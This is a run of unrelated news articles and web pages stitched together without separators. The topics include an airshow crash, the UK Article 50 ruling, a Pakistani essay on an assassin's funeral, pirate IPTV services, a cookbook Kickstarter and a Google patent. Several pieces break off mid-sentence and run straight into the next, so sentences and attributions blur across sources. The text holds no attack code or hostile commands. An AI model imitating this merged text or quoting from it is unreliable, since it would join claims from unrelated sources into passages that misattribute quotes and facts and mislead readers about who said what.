kids’ fingers in talcum powder to show them how their presence could be detected on surfaces like a backdoor latch they weren’t supposed to touch, even if they denied being in the vicinity. After the justice and his wife moved to the Flatiron district of Manhattan, he served on the board of the Committee for Modern Courts, which lobbies for legislation to improve the administration of justice in New York, including in immigration and family courts. In addition to Medsger, he is survived by his five children: Christopher (Vermont); John (Baltimore); Karen (Oakland); Laurie (Texas) and Tom (San Diego). He is also survived by six grandchildren, his first wife and mother of his children, and two brothers.Authorities are expecting the death toll to rise to around 20 after a Hawker Hunter fighter jet taking part in a British airshow, near Brighton, crashed into a busy main road and burst into flames. The initial death toll reported on Saturday was reported to be seven people with more than a dozen others injured. On Monday, the BBC reported that at least 11 people are believed to be dead, but authorities are expecting to recover more bodies after the jet is removed from the crash site. In addition to vehicles on the road, Sussex Police’s assistant chief constable, Steve Barry, told the BBC that there were many cyclists and onlookers along the busy stretch of road where the jet crashed, which has made determining an exact number difficult. Barry told the BBC, “The number of highly likely dead remains at 11, but may rise. However, we do not expect that figure to be greater than 20, probably fewer.” An onlooker told the BBC that the crash took place just after the jet pilot had began his demonstration. “He’d gone up into a loop and as he was coming out of the loop I just thought, you’re too low, you’re too low, pull up,” Stephen Jones told the BBC. “And he flew straight into the ground either on or very close to the A27, which runs past the airport.” The Brief Newsletter Sign up to receive the top stories you need to know right now. View Sample Sign Up Now A crane is expected to remove the jet wreckage from the highway. [BBC] Contact us at editors@time.com.Steve Worthington of BornSharp recently sent me an interesting link: Scruff Is In As Men Shave Less. I found it interesting not so much because it was about “scruff” but rather the numbers of people who shave. It got me to wondering how many of “us” (who shave with an “old school” kit of some kind) there are, and how big a market it might be to business. There are currently approximately 152 million adult men in the United States (according to Wikipedia). If we can trust the source of the data in the article, 94% shave, or approximately 143 million men. Of those, 36% use an electric razor, leaving about 91 million men who shave manually. Here’s where it gets a little more difficult. How do we determine how many use a brush, and how many a double-edge (or single-edge or straight) razor? I’m willing to bet someone at P&G knows (or at least someone in The Art of Shaving subsidiary) but they’re not going to tell me. There are a couple of periodicals that might help (Amazon, Reportbuyer) but they are too expensive for me to obtain easily and I don’t know if they will have the actual data I am looking for. So, can we make an “educated guess?” I think so. For the purposes of discussion let’s say that 5% of manual shavers use a shaving brush. That would be about 4.5 million men. I am sure those who do not use a cartridge razor (i.e. DE, SE, straight) would be an even smaller percentage, let’s say 1%. That would be roughly 900,000 men. Let’s use the Wikipedia statistic that male population growth is 0.7% (remember we’re just talking about the United States for the moment.) So about 4.5 million men may use a shaving brush. If the typical shave brush retails for $50, that’s $225 million. Perhaps more realistically, let’s assume that most brushes are sold as part of a set (razor, brush, stand, maybe a small bowl and/or cake of shave soap) and the average set retails for $75 but wholesale’s at $50. That’s a potential of at least $100 million in profit! Plus a growth of over 30,000 additional men every year…a potential $750,000 annual market with the previous numbers. Now our “guesstimate” of 900,000 men who don’t use a cartridge razor. If the average DE razor is about $50, that represents $45 million, with a population growth of about 900 men annually. However I suspect that actual rate is higher, as more and more men rebel against the “razor blade wars.” What do you think of these numbers?But when a BBC interviewer asked me about this, something made me equivocate. I said it was too early to say and that we should be careful not to confuse the hardening resolve of the Pakistani government with the will of its people. Mr. Qadri’s funeral was the next day. That would give a better indication of the public mood. And so it did. An estimated 100,000 people — a crowd larger than the population of Asheville, N.C. — poured into the streets of Rawalpindi to say farewell to Malik Mumtaz Hussain Qadri. It was among the biggest funerals in Pakistan’s history, alongside those of Muhammad Ali Jinnah, the father of the nation, and Benazir Bhutto, the former prime minister, who was assassinated in 2007. But this was no state funeral; it was spontaneous and it took place despite a media blackout. As pictures emerged of the sea of humanity that coalesced around the white ambulance strewn with red rose petals that carried Mr. Qadri’s body, a few thoughts occurred to me: Was this the first funeral on this scale ever given to a convicted murderer? Did the men who took to the street in such great numbers come out of their hatred of my father or their love of his killer? They hardly knew Mr. Qadri. The only thing he had done in all his life, as far as they knew, was kill my father. Before that he was anonymous; after that he was in jail. Was this the first time that mourners had assembled on this scale not out of love but out of hate? And finally, I wondered, what happens when an ideology of hate is no longer just coming from the mouths of Saudi-funded clerics but has infected the body of the people? What do you do when the madness is not confined to radical mosques and madrasas, but is abroad among a population of nearly 200 million? The form of Islam that has appeared in our time — and that killed my father and so many others — is not, as some like to claim, medieval. It’s not even traditional. It is modern in the most basic sense: It is utterly new. The men who came to mourn my father’s killer were doing what no one before them had ever done. As I watched this unprecedented funeral, motivated not by love for the man who was dead but by hatred for the man he killed, I recognized that the throng in Rawalpindi was a microcosm of radical Islam’s relationship to our time. It drew its energy from the thing it was reacting against: the modernity that my father, with his condemnation of blasphemy laws and his Western, liberal ideas, represented. Recognizing this doesn’t pardon the 100,000 people who came to grieve for Malik Mumtaz Hussain Qadri, but it reminds us that their existence is tied up with our own.https://dandelionsalad.wordpress.com/ shabbirh February 02, 2010 Breaking news – based on eye witnesses in Gaza, more details to follow. video no longer available * Israel launches air strikes in Gaza GAZA Reuters – Israel launched air strikes in the Gaza Strip on Tuesday hitting tunnels along the border with Egypt and an abandoned airport, officials on both sides said. * Israeli jets ‘strike Gaza targets’ Al Jazeera English Wednesday, February 03, 2010 01:49 Mecca time, 22:49 GMT Israeli aircraft have struck tunnels in the Gaza Strip, Palestinian witnesses say, a day after two explosive devices said to have originated in Hamas-ruled Gaza washed up on Israel’s coastline. […] There were no
ruling adds a further complication to the Brexit process, adding to uncertainty. Jeremy Corbyn said Labour would not 'frustrate the process for invoking Article 50' but will seek to amend the Government's bill. He said: 'When it comes to leaving the European Union, Parliament has had full capacity and multiple opportunities to restrict the executive's ordinary ability to begin the Article 50 process and it has not chosen to do so.' Government lawyers told the court that there was no 'affront to Parliamentary sovereignty' in giving Article 50 notice. At the heart of the legal battle were rights given to UK citizens by Parliament under the 1972 European Communities Act following the decision to join what is now the EU. James Eadie QC, for the Government, argued that the 1972 Act was the 'conduit' which allowed executive powers to be used by successive governments to give effect to EU treaty obligations under domestic law. But Lord Pannick, who represented Mrs Miller and won the ruling at the High Court, told the justices that her case 'is that the prerogative power to enter into and terminate treaties does not allow ministers to nullify statutory rights and duties'. He declared: 'Parliament is sovereign. What Parliament created only Parliament can take away.' When the case concluded Lord Neuberger announced: 'It bears repeating we are not being asked to overturn the result of the EU referendum. 'The ultimate question in this case concerns the process by which that result can lawfully be brought into effect. 'As we have heard, that question raises important constitutional issues and we will now take time to ensure the many arguments presented to us orally and in writing are given full and proper consideration.' The Government's top law officer, Attorney General Jeremy Wright, had argued that the High Court got it 'wrong'. He told the justices that the use of the prerogative in the circumstances would be lawful. It was for the Government to exercise prerogative powers in the conduct of the UK's affairs on the international plane. Former Cabinet minister Iain Duncan Smith (pictured today) said the intervention of the court raised 'constitutional' issues - although the judges made clear they were not taking a view on Brexit The landmark Supreme Court hearing in December was the most televised case in British legal history (pictured) Judges unanimously REJECT demands for Scotland, Wales and Northern Ireland to get a veto on triggering Article 50 Scotland's First Minister Nicola Sturgeon led arguments that the devolved administrations should be consulted before Theresa May triggers Article 50, which threatened to derail the PM's timetable for Brexit Supreme Court judges unanimously rejected claims that Scotland, Wales and Northern Ireland should be given a veto on Brexit. Scotland's First Minister Nicola Sturgeon led arguments that the devolved administrations should be consulted before Theresa May triggers Article 50 - the formal mechanism for leaving the EU - which threatened to derail the PM's timetable for Brexit. The case came alongside the main Supreme Court ruling that MPs must be consulted before the Government starts the process of leaving the EU. But unlike the ruling on devolved powers, it was not a unanimous decision, with three judges dissenting against the majority of eight judges who ruled that an Act of Parliament was necessary. Scottish nationalists said it will put forward 50'serious and substantive' amendments to the legislation. Former first minister Alex Salmond, the SNP's international affairs spokesman, said: 'We welcome the Supreme Court's decision and hope that their ruling brings this Tory government back to the reality that they cannot simply bypass elected parliamentarians to fulfil their role in carrying out due and proper scrutiny of one of the biggest decisions facing the UK. 'The Prime Minister and her hard Brexit brigade must treat devolved administrations as equal partners - as indeed she promised to do. 'For over six months the concerns surrounding a hard Tory Brexit have been echoing throughout the land and yet the Prime Minister has not listened. 'If Theresa May is intent on being true to her word that Scotland and the other devolved administrations are equal partners in this process, then now is the time to show it. 'Now is the time to sit with the Joint Ministerial Committee and not just casually acknowledge, but constructively engage. Consultation must mean consultation. Mrs Sturgeon has demanded that the PM (pictured leaving No10 today) soften her approach to leaving the EU and allow Scotland special status 'Our amendments will address the very serious concerns facing the UK and the very real issues that the UK government has, thus far, avoided.' Explaining why they decided the Scottish Parliament and Welsh and Northern Ireland Assemblies do not have to be consulted before triggering Article 50, the Supreme Court judges said: 'The devolution Acts were passed by Parliament on the assumption that the UK would be a member of the EU, but they do not require the UK to remain a member. 'Relations with the EU and other foreign affairs matters are reserved to UK Government and parliament, not to the devolved institutions. Withdrawal from the EU will alter the competence of the devolved institutions, and remove the responsibilities to comply with EU law. 'In view of the decision of the majority of the Justices that primary legislation is required for the UK to withdraw from the EU, it is not necessary for the court to decide if the NIA imposes a discrete requirement for such legislation 'The decision to withdraw from the EU is not a function carried out by the Secretary of State for Northern Ireland in relation to Northern Ireland within the meaning of section 75 NIA.' They added: 'Moreover, section 1 NIA, which gave the people of Northern Ireland the right to determine whether to remain part of the UK or to become part of a united Ireland, does not regulate any other change in the constitutional status of Northern Ireland. 'As to the application of the Sewel Convention to the decision to withdraw from the EU given the effect on the devolved competences, the Convention operates as a political constraint on the activity of the UK Parliament. It therefore plays an important role in the operation of the UK constitution. 'But the policing of its scope and operation is not within the constitutional remit of the courts. The devolved legislatures do not have a veto on the UK's decision to withdraw from the EU.' The Supremes: The 11 Justices who ruled on Article 50 todayDistrict of Columbia: The United States will step up its troop presence in eastern Europe in response to "an aggressive Russia," with continuous rotations of an additional armored brigade beginning in early 2017, the US military said Wednesday. The rotations will bring the US Army`s presence in Europe to three fully manned combat brigades, the US European Command said. A brigade comprises about 4,200 troops. "This Army implementation plan continues to demonstrate our strong and balanced approach to reassuring our NATO Allies and partners in the wake of an aggressive Russia in Eastern Europe and elsewhere," General Philip Breedlove, the top US commander in Europe, said in a statement. "Our allies and partners will see more capability. They will see a more frequent presence of an armored brigade with more modernized equipment in their countries," he added. Defense Secretary Ash Carter last month unveiled the Pentagon`s proposed budget for next year, which includes $3.4 billion -- quadruple last year`s amount -- for operations in Europe. The cash will fund the so-called European Reassurance Initiative that aims to deter Russia from carrying out additional land grabs after its 2014 annexation of the Crimean Peninsula. "These efforts demonstrate strong alliances and partnerships backed by demonstrated capability, capacity and readiness to deter aggression," Pentagon spokeswoman Laura Seal said. "We have been clear that we will defend our interests, our allies, and the principles of international order in Europe." The Pentagon`s beefed-up European presence means US forces will increase military exercises with ally nations and train with new equipment such as tanks and artillery pieces. Latvian Defense Minister Raimonds Bergmanis said the deployment bears out commitments made by President Barack Obama in a speech in Tallinn in September 2014. "This decision is particularly important after President Obama`s statement," Bergmanis said. "Then, the US president said that Tallinn, Riga and Vilnius are just as important to protect as Berlin, Paris and London." The US military has about 62,000 permanently assigned service members in Europe.Members of the Obama administration have taken turns deploring the billions of dollars in year-end bonuses the finance industry is getting ready to hand out. Never mentioned is what they think firms should do with the money. Give it back to their customers? Spend it on office decorations? Firms can't just wish away revenue sitting on their books. That's an accounting crime. More to the point, aren't surging banker bonuses amid a general downturn the proximate and necessary outcome of Washington's recovery Heimlich, which involves doling out free money to banks and artificially goosing asset prices? Ken Feinberg, pay czar Associated Press Er, wasn't this the plan? After all, whatever sloppy incentives are introduced into the mix, Ken Feinberg is on hand to fix them by fine-tuning banker pay. Voilà, Washington has figured out how to stoke a credit bubble with one hand while making sure with the other that it feeds only good and sound "long-term" purposes. Of course, Mr. Feinberg's clever calibration of carrots only works with the seven bailed-out firms under his direct control. As he grandly told PBS, "The private marketplace should be able to have the flexibility to adopt these programs on their own." Unpack the ironies and contradictions in that sentence. Mr. Feinberg is no dummy. Everyone knows the folderol about bonuses is a substitute for tackling the political challenge of "too big to fail." His every explanation has consisted of pleading political necessity over good judgment. Yet the urgent problem now isn't TBTF, or even banker bonuses. These are distractions. The urgent problem is the giant riverboat gamble that Washington can save the economy by doing what comes naturally—spending money carelessly, creating massive new entitlements without funding them, dishing out cheap credit to politically favored sectors, telling business people where and how to invest. Mr. Feinberg is an apt symbol indeed, for this gamble is built on the conceit that Washington can hector the recipients, whether auto companies, banks or homeowners, into behaving in ways that are "responsible." So far, however, human nature is proving a disappointment: Take the outbreak of tax fraud related to the government's emergency home-buyer's credit. Nor is the larger gamble looking so good either. Banks continue to fail at an alarming rate, the dollar is under assault, and Washington is looking at a future of trillion-dollar deficits. One might have guessed it would take a decade of Obamanomics to produce European welfare state levels of youth unemployment, but at 18.5% we're there. About the only positive sign is the price surge in normally uncorrelated assets—stocks, bonds, commodities, gold—as fund managers use cheap credit to play the carry-trade opportunity. All this might be defensible if time were being bought to clean up an accumulation of past excesses. Instead, the president is creating a new one. It's no exaggeration to say the Senate health-care bill taking shape is the equivalent of climbing aboard a train about to plunge into a canyon and deciding what it really needs is a bomb on board. By one metric alone, it might succeed—somewhat reducing the numbers of those who tell pollsters they are "uninsured." But it does so in a fashion reminiscent of the means the Clinton and Bush administrations used to raise the homeownership rate from 64% to 70%—which produced the subprime wreckage around us. The Senate bill includes a mandate requiring all citizens to buy health insurance, but the penalties have been progressively weakened. Insurers, though, would still be required to take all comers, including the already-sick, and charge them a standard rate. Kaboom—a monumental incentive for Americans not to buy health insurance until they get seriously ill. Which leads us to a question: When are Ben Bernanke and Larry Summers going to have a quiet conversation about how to steer Team Obama off its suicide mission? We know they were recently rivals for the Fed chairmanship. We know the Fed itself has become compromised. But who else is there? The Fed's three-decade habit of rescuing the financial system from episodes of failed risk-taking has crossed into absurdity in the current crisis. Half the Fed's brain wants banks to lend out the massive reserves the Fed has been creating on bank balance sheets. The other half fears if these reserves ever leak into the real economy, it will fuel an inflationary blowout. Yet it still might be possible to muddle to a lasting recovery. It depends on real confidence emerging at some point to replace the short-term grab for gains created by zero-rate borrowing. Real confidence is what the Japanese, our predecessors down bubble road, have lacked and still lack. Real confidence means real "reform"—the hopper is hardly barren of ideas, like raising the retirement age, enacting the Breaux Commission's Medicare proposals, instituting a flat tax and eliminating the tax distortions that every serious economist knows contributed to the housing bubble and the health-care bubble. "Change," to borrow a mantra, has to start somewhere. Over to you, Ben and Larry.A married same-sex couple in Brevard County, Florida who were featured on a TV news segment have received a letter from the state Department of Motor Vehicles ordering them to change their names back on their driver’s licenses or risk having those licenses revoked. According to Zack Ford at Think Progress, the two men received the warning letter after they were featured in a TV news segment announcing their status as one of the first same-sex couples in the state to legally adopt their wedded name. Same-sex marriage is still not recognized by Florida’s state government, but Scott and Daniel Wall-Desousa got married in New York City and used their out-of-state marriage license to have their names legally changed on all of their official documents, a practice that is perfectly legal for heterosexual couples. Within days of the segment about the Wall-Desousas airing on WFTV Channel 9, the two men received a letter from the Florida DMV ordering them to have the name change undone on their driver’s licenses or lose them. Daniel Wall-Desousa told Channel 9 that the letter “informs me and notifies me that my driving privileges will be canceled indefinitely as of Nov. 22.” If they comply with the request, he said, then their licenses will have a different name than all of the rest of their documents. “Everything has been changed to my benefits, to my Florida pension,” he explained, adding that even the men’s voter IDs and work badges display their married name. “How does one undo all that?” Daniel and his husband Scott plan to file a lawsuit against the state, calling the policy backwards and discriminatory. Scott Wall-Desousa said that the state of Florida didn’t seem to care about the state of their official documents until they went public, amounting to a situation he compared to the military’s now-revoked “Don’t Ask, Don’t Tell” policy regarding LGBT service members. “It’s a ‘Don’t Ask, Don’t Tell’ policy and it’s offensive,” he said. “It didn’t work once and it’s not going to work again.” Watch the video segment that ignited the controversy, embedded below via WFTV:Kodi and its third party 'pirate' addons have been getting an awful lot of press this year but there's a hidden side to streaming that receives much less attention. Enter the world of black-market IPTV, streaming services that provide a TV, sports and movie experience that rival commercial offerings. Anyone with a Kodi setup understands how it works. Download the software, install a bunch of third party addons, and enjoy TV shows, sports, movies and PPVs, all for free. While millions have fun doing just that, even the leading experts in Kodi setups acknowledge that they are limited by the content being provided by third parties. Sometimes the quality is good and the service is reliable but at the other extremes, people can spend more time getting stuff to work than actually watching and relaxing. For those who simply can’t stand this kind of messing around, going legit is the sensible option. Subscribe to a big TV package with a local provider, pay for all the sports and PPVs, tack on the movie package, throw in Netflix for good measure, and then sit back and enjoy the ride. Trouble is, it costs a fortune. However, somewhere in the middle lies a third way. It’s a lurking piracy monster that is getting very little press. IPTV is short for Internet Protocol television, which is a fancy way of describing TV content that’s streamed over the Internet rather than via terrestrial, satellite, or cable formats. That said, thinking this is all IPTV has to offer would be a big mistake. We aren’t going to name names, but the service shown to TF this week boasts more than 3,000 live and premium TV channels from all over the world, many of them in HD quality. Apparently, a bigger package of more than 4,000 channels is also available if you really want to gorge on media. Streamed over the web, the channels can be viewed on a range of devices, from VLC Media Player on PC, through to Android and Apple apps. However, many people are choosing to consume via small set-top boxes. These relatively cheap (and entirely legal) devices connect to both the Internet and any modern TV. They transform the way streaming content is consumed, whatever the source – legitimate or otherwise. Instead of reams of text in a VLC playlist, for example, these devices (coupled with an (in)appropriate illegal IPTV service) are almost indistinguishable from the real deal. Channels are presented in Electronic Program Guide format (EPG) and switching from one to another is achieved in fractions of a second. Poor photography skills (and dodgy Christmas wallpaper aside), the menus are very well presented. As shown in the image above, when a channel is selected a moving preview appears in the window on the right. Under that sits an EPG covering the next few hours which allows for planning ahead. Also accessible are full channel EPG views that are easily as good as many commercial offerings. But while at first glance these services seem dedicated to only live TV (albeit on any channel you could imagine, anywhere in the world), many have another trick up their sleeve. The service we saw also carries hundreds of the latest movies, up to 4K in resolution and even in 3D. They too can be accessed from professional looking menus and play, interruption free, every single time. Also on offer is a massive ‘catch-up’ service which provides all the latest episodes of the most popular shows on-demand. Shows appear to be available minutes after airing and can be paused and skipped within a convenient media player setup. Instead of using dedicated hardware, many IPTV users also use Kodi to view these kinds of streams. There are plenty of tutorials available online which detail how to activate the PVR component of the popular media player to access these kinds of services. However, from what we’ve seen so far, the Linux box experience is head and shoulders above everything else. So what’s stopping everyone from dumping torrents and web-based streaming services and jumping over to premium IPTV products right now? Well, it’s the same old story – cost. Like a good VPN service, a decent (albeit illegal) IPTV service costs money – a few dollars, pounds, or euros per month. Depending on what they’re offering, Netflix-style deals are possible but for those who simply must have everything, it’s closer to double that price per month, or less if one subscribes for a whole year. That being said, as we’ve seen before in many areas of piracy, these pirate IPTV services offer massively more bang for your buck than official offerings. The only practical problem is that there aren’t enough hours in a lifetime to watch everything they have to offer. The selection is bewildering. Needless to say, these services are definitely illegal, certainly when it comes down to offering them to the public. Whether it’s illegal for users to watch these streams is down to individual countries’ laws, but on the whole the legal system is untested in both Europe and the United States so prosecutions seem unlikely, at least for now.New Jersey Gov. Chris Christie speaks during the Clinton Global Initiative America's meeting, Friday, June, 14, 2013, in Chicago. (Scott Eisen/AP) New Jersey Gov. Chris Christie still has a lot to prove to social conservatives if he seeks the Republican presidential nomination in 2016. A prominent conservative strategist allied with the evangelical movement tells me that both evangelicals and Tea Party activists remain doubtful about Christie. This is partly as a result of his praise for President Barack Obama because of the rapid federal response to Hurricane Sandy last year. Conservatives also raise questions about Christie's commitment to specific conservative principles. "In the 'tea-vangelical' world, Chris Christie has a lot of work to do," the strategist says. He adds, however, that Christie actually has a conservative record on issues such as same-sex marriage, abortion, human rights and preserving religious liberty. If he can explain that record effectively to conservatives, he will be a strong contender for the GOP nomination in 2016. A big problem remains Christie's warm relationship with Obama during the endgame of the 2012 campaign. New Jersey had been hit by the powerful superstorm, decimating many beach communities, and Christie said the federal government was doing good job of providing emergency assistance. But hard-line conservatives were upset that Christie was so positive and they said the governor may have helped Obama, a Democrat, win re-election in the process. Christie, who is seeking re-election this year, argued that his main priority was helping New Jersey residents, and he was appreciative of the White House's support. He added later that the safety and health of New Jersey residents "are more important than any kind of politics at all." Last month, Christie turned negative, pointing that he didn't vote for Obama and that the incumbent "can't figure out how to lead" and was more concerned with ideology than "getting things done." The latest Quinnipiac University poll finds that Christie has a 61 to 29 percent lead over his Democratic challenger, state Sen. Barbara Buono, in his bid for re-election. More News:This Kickstarter campaign is now over — thanks to everyone for such tremendous support! To download a free PDF, buy print copies, or anything else, please visit www.leannebrown.ca/cookbooks. This page is now frozen until the end of time, but to see what the page looked like while the Kickstarter campaign was still active, read on! ----- Good and Cheap is a gorgeous cookbook for tight budgets. It's free online, but let's get it out to more people by funding a print run. You can already download a PDF for free on my website at www.leannebrown.ca/cookbooks. Thanks to the support of a bunch of awesome strangers on Reddit, on Tumblr, and elsewhere, it's been amazingly popular — over 200,000 people have downloaded the draft version! But I want your help to fund printed copies so that we can get Good and Cheap into the hands of people who don't have computers or who wouldn't otherwise see it. The expensive part of printing books is the initial set-up; the cost of each additional copy is fairly low. The more books you buy, the more I can donate or sell at a massive discount to organizations that support low-income families on SNAP (the modern name for Food Stamps). What's the book like? Just download a free PDF and take a look for yourself! But since you asked, it's 132 pages (so far!) of beautifully designed and photographed recipes that fit into a $4/day budget — without seeming like it. This is good food that happens to be inexpensive. If you downloaded the book when it first when viral, grab a new copy: the earlier version was just a draft, but the final version of Good and Cheap has been edited and redesigned throughout. What's your plan? I want this book to be as accessible as possible. That's why I've made it free online, and nearly 200,000 downloads to date proves there is both a willing audience and a need. My dream is that everyone who could benefit from this book would be able to get a copy, at whatever price they can afford. For many, that means keeping it free — even in printed form. Because printed books cost money, a scheme was born: $25 buys one copy for you and a second copy that I'll donate to someone who needs it. Once I reach my goal, I'll approach organizations to figure out who to entrust with getting these books into the hands of low-income families and individuals. I hope to be able to work with a variety of organizations for the greatest reach. Where'd this come from? I created this cookbook as the capstone project for my master's degree in Food Studies at NYU. I wanted to make something that not only summed up the work I had done during my studies, but also had a useful life outside of academia. It bothered me that so many ideas for fixing the food system leave out the poor: it seemed like they didn't have a voice in the food movement. I wanted to create a resource that would promote the joy of cooking and show just how delicious and inspiring a cheap meal can be if you cook it yourself. Even though Food Stamps help millions of people across the United States every day, benefits were reduced in November despite rising food prices. It's more important than ever to make the most of what you have with savvy shopping techniques and skillful cooking. That's Good and Cheap. Stretch goals! If we reach $145,000: TWENTY-SEVEN THOUSAND COPIES TOTAL available to non-profits at $4 apiece, plus shipping (in addition to the 6,300+ donated copies so far). And I will do five cartwheels. If we reach $143,210 (GOOOOOOOOAL!): I will make good and (relatively) cheap celebratory sangria and share the recipe with all of you! If we reach $142,500 (STAGGERING!): TWENTY-SIX THOUSAND COPIES TOTAL available to non-profits at $4 apiece, plus shipping (in addition to the 6,200+ donated copies so far). And I will watch Beverly Hills Cop III. If we reach $140,000 (COWABUNGA!): TWENTY-FIVE THOUSAND COPIES TOTAL available to non-profits at $4 apiece, plus shipping (in addition to the 6,100+ donated copies so far). And I will make smiley-face pancakes! If we reach $135,000 (GREAT SCOTT!): TWENTY-FOUR THOUSAND COPIES TOTAL available to non-profits at $4 apiece, plus shipping (in addition to the 5,900+ donated copies so far). And I will jump for joy! If we reach $130,000 (WHAT THE WHAT???!): TWENTY-THREE THOUSAND COPIES TOTAL available to non-profits at $4 apiece, plus shipping (in addition to the 5,700+ donated copies so far). If we reach $125,000 (INCONCEIVABLE!): TWENTY-TWO THOUSAND COPIES TOTAL available to non-profits at $4 apiece, plus shipping (in addition to the 5,500+ donated copies so far). If we reach $120,000 (BANANAS!): TWENTY-ONE THOUSAND COPIES TOTAL available to non-profits at $4 apiece, plus shipping (in addition to the 5,300+ donated copies so far). If we reach $115,000 (!!!): TWENTY THOUSAND COPIES TOTAL available to non-profits at $4 apiece, plus shipping (in addition to the 5,100+ donated copies so far). If we reach $110,000 (STUNNING!): NINETEEN THOUSAND COPIES TOTAL available to non-profits at $4 apiece, plus shipping (in addition to the 4,900+ donated copies so far). If we reach $105,000 (TRANSCENDENT!): EIGHTEEN THOUSAND COPIES TOTAL available to non-profits at $4 apiece, plus shipping (in addition to the 4,700+ donated copies so far). If we reach $100,000 (UNREAL!): SEVENTEEN THOUSAND COPIES TOTAL available to non-profits at $4 apiece, plus shipping (in addition to the 4,400+ donated copies so far). If we reach $95,000 (GADZOOKS!): SIXTEEN THOUSAND COPIES TOTAL available to non-profits at $4 apiece, plus shipping (in addition to the 4,200+ donated copies so far). If we reach $90,000 (CRAZY!): FIFTEEN THOUSAND COPIES TOTAL available to non-profits at $4 apiece, plus shipping (in addition to the 4,000+ donated copies so far). If we reach $85,000 (SPECTACULAR!): FOURTEEN THOUSAND COPIES TOTAL available to non-profits at $4 apiece, plus shipping (in addition to the 3,800+ donated copies so far). If we reach $80,000 (MAGNIFICENT!): THIRTEEN THOUSAND COPIES TOTAL available to non-profits at $4 apiece, plus shipping (in addition to the 3,600+ donated copies so far). If we reach $75,000 (UNBELIEVABLE!): TWELVE THOUSAND COPIES TOTAL available to non-profits at $4 apiece, plus shipping (in addition to the 3,400+ donated copies so far). If we reach $70,000 (TERRIFIC!): ELEVEN THOUSAND COPIES TOTAL available to non-profits at $4 apiece, plus shipping (in addition to the donated copies so far). If we reach $65,000 (ZOUNDS!): TEN THOUSAND COPIES TOTAL available to non-profits at $4 apiece, plus shipping (in addition to the donated copies so far). If we reach $60,000 (MIND-BLOWING!): NINE THOUSAND COPIES TOTAL available to non-profits at $4 apiece, plus shipping (in addition to the donated copies so far). If we reach $55,000 (ASTOUNDING!): EIGHT THOUSAND COPIES TOTAL available to non-profits at $4 apiece, plus shipping (in addition to the donated copies so far). If we reach $50,000 (INCREDIBLE!): SEVEN THOUSAND COPIES TOTAL available to non-profits at $4 apiece, plus shipping (in addition to the donated copies so far). If we reach $45,000 (WOW!): SIX THOUSAND COPIES TOTAL available to non-profits at $4 apiece, plus shipping (in addition to the donated copies so far). If we reach $40,000 (RUNNING OUT OF HYPERBOLE!): FIVE THOUSAND COPIES TOTAL available to non-profits at $4 apiece, plus shipping (in addition to the donated copies so far). If we reach $35,000 (AMAZING!): FOUR THOUSAND COPIES TOTAL available to non-profits at $4 apiece, plus shipping (in addition to the donated copies so far). If we reach $30,000 (DONE LIKE DINNER!): Let's keep doing this! I'll print 1,000 more copies of Good and Cheap and offer them to worthwhile organizations at $4 per copy (plus cheap media-mail shipping). That's THREE THOUSAND COPIES TOTAL (in addition to the donated copies so far). If we reach $25,000 (BAM! POW! BIFF!): That last one happened so quickly, I haven't had time to think up a new stretch goal, so let's do the last one again! I'll print 1,000 more copies of Good and Cheap and offer them to worthwhile organizations at $4 per copy (plus cheap media-mail shipping). If we reach $20,000 (AND WE DID!): I'll print 1,000 more copies of Good and Cheap and offer them to worthwhile organizations at $4 per copy (plus cheap media-mail shipping). I've already spoken casually to a couple of organizations that think they can make that plan work. I'll let others know how to get in touch soon. If we reach $15,000 (ACHIEVED!): On behalf of all of you, I will donate another 250 copies of Good and Cheap to worthwhile organizations. That's on top of the copies that new backers will be donating on the way to $15,000! to worthwhile organizations. That's on top of the copies that new backers will be donating on the way to $15,000! I will open up 4 more "sponsor a recipe" rewards at $100 each (total 20). Don't worry — people who contribute to the project in the meantime will be able to upgrade to one of those open spots if they want to. Facebook: https://www.facebook.com/eatgoodandcheap Twitter: https://www.twitter.com/leelb Video by Claire Dub. Thanks, Claire!Shanghai-based Fundamental Films is developing “Dragon Lady” about Anna May Wong, the first Chinese-American movie star. Producers have approached Chinese actress-singer Fan Bingbing for the lead role. Jonathan Keasey and Brant Boivin are writing the script. Wong rose to fame with her role in 1924’s “Thief of Bagdad” with Douglas Fairbanks, but her career was plagued by offers to play negative stereotypes of Chinese females and was limited by American anti-miscegenation laws that prevented her from sharing an on-screen kiss with a person of another race. She appeared in “Daughter of the Dragon,” “Daughter of Shanghai,” and, with Marlene Dietrich, in Josef von Sternberg’s “Shanghai Express.” Wong grew up in a poor neighborhood in downtown Los Angeles. She has a star on the Hollywood Walk of Fame and is depicted in the the Four Ladies of Hollywood statues at La Brea and Sunset along with Dolores del Río, Dorothy Dandridge and Mae West. Fundamental will be producing and financing the project and will distribute in China. Gary Glushon is overseeing for the company. Fundamental Films is now teamed with Mark Johnson on period spy thriller “China Black Chamber,” which was announced last year as the first film in its slate of English-language themed movies with a combination of top Chinese and U.S. talent. It has also partnered with Luc Besson’s Europa Corp on a number of projects, including the reboot of the “Transporter” series. Keasey and Boivin recently wrote “My Wife Hates Your Wife” for Will Smith’s Overbrook Entertainment. They are repped by CAA and Trevor Astbury.Story highlights Google patent filing paints picture of throat tattoo with microphone The temporary tattoo would connect with smartphones and other devices Some have complained about the Google Glass audio system Wearable tech is an emerging field It looks like Google Glass was just the beginning. Google now appears to be aiming a few inches lower, working on a temporary electronic tattoo that would stick to the user's throat. Google-owned Motorola Mobility has filed for a patent, published last week, for a system "that comprises an electronic skin tattoo capable of being applied to a throat region of a body." The patent says the tattoo would communicate with smartphones, gaming devices, tablets and wearable tech like Google Glass via a Bluetooth-style connection and would include a microphone and power source. The idea is that wearers could communicate with their devices via voice commands without having to wear an earpiece or the the Glass headset. And how's this for future tech? It could even be used as a lie detector. "Optionally, the electronic skin tattoo can further include a galvanic skin response detector to detect skin resistance of a user," the 10-page document reads. "It is contemplated that a user that may be nervous or engaging in speaking falsehoods may exhibit different galvanic skin response than a more confident, truth telling individual." "Galvanic" is a reference to the way some surfaces, even skin, conduct electricity. In images attached to the filing, the tattoo appears to be between a postage stamp and a Band-Aid in size. The filing says that in addition to sticking via an adhesive to the throat, the tattoo could go on a collar or a band around the user's neck. Other possible uses include making both incoming and outgoing audio clearer. That could mean anything from making smartphone conversations clearer in a crowded room to being able to listen to music without earphones. And we can't quite figure out the use case for this one, but: "the electronic tattoo can also be applied to an animal as well." With Google Glass, the company has moved to be at the forefront of the rapidly emerging trend in wearable tech. Glass is a wearable computer with a smartphone-like display that lets users text, browse the Web, take photos and run other apps, all hands free. The latest version rolling out to field testers includes an ear bud, in response to complaints from some that the first version's bone-conduction sound system didn't work well. It's not hard to envision the throat tattoo as an eventual answer to that complaint. 